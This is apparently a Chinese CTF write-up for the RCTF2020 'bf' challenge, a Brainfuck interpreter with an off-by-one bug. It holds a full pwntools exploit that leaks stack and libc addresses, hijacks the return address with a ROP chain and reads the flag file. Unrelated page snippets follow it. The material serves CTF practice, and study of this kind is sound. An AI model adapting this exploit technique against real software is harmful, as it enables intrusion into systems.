RCTF2020 bf string指標的利用

2021-10-07 02:29:30 字數 3896 閱讀 4311

rctf2020_bf(string指標的利用)

首先,檢查一下程式的保護機制

然後,我們用ida分析一下,發現是乙個brain ****語言的直譯器,其中在》指令操作中,存在乙個off by one,ptr指標可以指向string物件,

然後,通過後面的read等操作,可以控制string內部第乙個指標的低1位元組

而結尾的時候,會輸出string指標指向的地方的內容

因此,控制string指標,我們現在可以完成資料洩露。

string物件內部有這4個成員,我們能夠通過off by one控制buf。該指標指向字串的資料開始處。

struct ;

程式開頭,使用operator+來將字元連線到string中,operator+主要就是把字串拼接到buf+size指向的位置處。而開頭的時候,使用了clear(&string,0),該操作將把size賦值為0,由此,我們可以利用此來實現string指標位址附近任意讀寫。

通過閱讀原始碼再加以除錯,string物件初始的時候,其

buf指標一開始指向

string物件的

tmp_buf,當長度超過8位元組時,會使用malloc分配堆記憶體來儲存字串。這就是重點了。

這個string物件是放在棧上的,所以只要其字串不超過8位元組,那麼buf指向的就是棧位址,通過低1位元組控制buf指向,就能實現對棧上資料進行讀寫。當我們控制棧以後,修改capacity,這樣,就可以寫更多的資料,而不會觸發string呼叫malloc重新申請記憶體。我們劫持返回位址,做rop即可。我們可以把rop布置在前面的box裡面。當我們結束修改以後,最後我們需要把buf指標改回原來的位置,不然string的析構函式執行時會崩潰。

#coding:utf8

from pwn import *

libc = elf('/lib/x86_64-linux-gnu/libc-2.27.so')

offset = libc.symbols['__libc_start_main'] + 0xe7

open_s = libc.sym['open']

read_s = libc.sym['read']

write_s = libc.sym['write']

while true:

try:

global sh

#sh = process('./bf')

sh = remote('124.156.135.103',6002)

payload = '+[>+],'

sh.sendlineafter('enter your code:',payload)

sh.sendafter('running....',p8(0xb0))

sh.recvuntil('done! your code: ')

x = u64(sh.recv(6).ljust(8,'\x00'))

if x >> 40 != 0x7f:

raise exception('leak error')

stack_addr = x

print 'stack_addr=',hex(x)

sh.sendafter('want to continue?','y')

sh.sendlineafter('enter your code:',payload)

sh.sendafter('running....',p8(0xc8))

sh.recvuntil('done! your code: ')

x = u64(sh.recv(6).ljust(8,'\x00'))

if x >> 40 != 0x7f:

raise exception('leak error')

libc_base = x - offset

pop_rdi = libc_base + 0x000000000002155f

pop_rsi = libc_base + 0x0000000000023e6a

pop_rdx = libc_base + 0x0000000000001b96

pop_rsp = libc_base + 0x0000000000003960

open_addr = libc_base + open_s

read_addr = libc_base + read_s

write_addr = libc_base + write_s

print 'libc_base=',hex(libc_base)

print 'open_addr=',hex(open_addr)

print 'read_addr=',hex(read_addr)

print 'write_addr=',hex(write_addr)

sh.sendafter('want to continue?','y')

rop_addr = stack_addr - 0x1c0

flag_addr = rop_addr + 0x98

sh.sendlineafter('enter your code:',payload)

sh.sendafter('running....',p8(0xc8-8))

sh.sendafter('want to continue?','y')

payload = '+[,>+],a' + p64(pop_rsp) + p64(rop_addr)

sh.sendlineafter('enter your code:',payload)

sh.recvuntil('running....')

rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)

rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)

rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

rop += './flag\x00'

for i in range(0x400 - len(rop) - 1):

sh.send('a')

for x in rop:

sh.send(x)

sh.send('a')

#復原sh.send(p8(0x90))

sh.interactive()

except:

sh.close()

print 'trying...'

RCTF2020關於反序列化的一些記錄

這次比賽,我只能說這就是rctf?i了i了 這次有一道web題目,是關於反序列化的,這兒稍微記錄一下其中的知識點 題目原始碼 根據p牛的描述,我們可以直接將小寫s改為大寫的s,然後後面的字串可以用十六進製制代替 這兒直接給出處理php指令碼,傳入的引數是序列化的字串 bypass 00 functi...

模擬 2020加油

描述 傳說中的2020年到啦,大家來畫個圖迎接新年的到來吧。輸入輸入n 15 n 5,且為奇數 分別為2和0的邊長 輸出其實只是列印2和0這兩個數字而已,每個數字之間用乙個空格隔開。樣例輸入 樣例輸出 提示 2在水平方向為三根橫線 長度為n 豎直方向為兩個豎線 長度應該是 n 1 2 0就是列印乙個...

2020讀書有感

保持正念,專注當下,這些都是生活經歷,都是修行。要知行合一,是我們的分別心賦予了什麼是痛苦什麼是歡樂。人聲最大的痛苦是 認為自己不該有的痛苦而痛苦。人為什麼產生焦慮情緒?當你在做一件事時,卻無法忠於這件事,就會變得焦慮。有人說,居於廟堂,身處佛寺才是修行。但其實生活本身就是修行。修煉正念,可以在任何...